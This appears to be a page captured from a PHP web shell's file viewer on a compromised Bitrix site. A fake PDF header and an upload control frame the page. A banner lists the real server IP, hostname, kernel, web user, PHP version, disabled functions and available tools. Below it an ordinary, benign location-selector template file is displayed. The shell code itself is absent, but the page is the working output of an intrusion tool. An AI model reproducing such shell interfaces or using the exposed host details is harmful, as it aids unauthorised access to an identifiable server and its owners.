%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.118.142.17 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.location.selector.system/templates/.default/ |
Upload File : |
<? if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true) die(); // prepare data for inline js, try to make it smaller $pathNames = array(); // initial struct $arResult['FOR_JS'] = array( 'DATA' => array( 'LOCATION' => array(), 'PATH_NAMES' => array(), ), 'CONNECTED' => array( 'LOCATION' => array(), 'GROUP' => array() ) ); if(is_array($arResult['CONNECTIONS']['LOCATION'])) { $arResult['FOR_JS']['DATA']['LOCATION'] = $arResult['CONNECTIONS']['LOCATION']; } foreach($arResult['FOR_JS']['DATA']['LOCATION'] as &$location) { $location['VALUE'] = $location['ID']; $pathIds = array(); if(is_array($location['PATH'])) { $name = current($location['PATH']); $location['DISPLAY'] = $name['NAME']; foreach($location['PATH'] as $id => $pathElem) { $pathIds[] = $id; $pathNames[$id] = $pathElem['NAME']; } array_shift($pathIds); $location['PATH'] = $pathIds; } //else PATH is supposed to be downloaded on-demand unset($location['SORT']); } unset($location); $arResult['FOR_JS']['DATA']['PATH_NAMES'] = $pathNames; // groups if(is_array($arResult['CONNECTIONS']['GROUP'])) { $arResult['FOR_JS']['DATA']['GROUPS'] = $arResult['CONNECTIONS']['GROUP']; foreach($arResult['FOR_JS']['DATA']['GROUPS'] as &$group) { $group['DISPLAY'] = $group['NAME']; $group['VALUE'] = $group['ID']; } } // connected if(is_array($arResult['CONNECTIONS']['LOCATION']) && !empty($arResult['CONNECTIONS']['LOCATION'])) $arResult['FOR_JS']['CONNECTED']['LOCATION'] = array_keys($arResult['CONNECTIONS']['LOCATION']); if(is_array($arResult['CONNECTIONS']['LOCATION']) && !empty($arResult['CONNECTIONS']['GROUP'])) $arResult['FOR_JS']['CONNECTED']['GROUP'] = array_keys($arResult['CONNECTIONS']['GROUP']);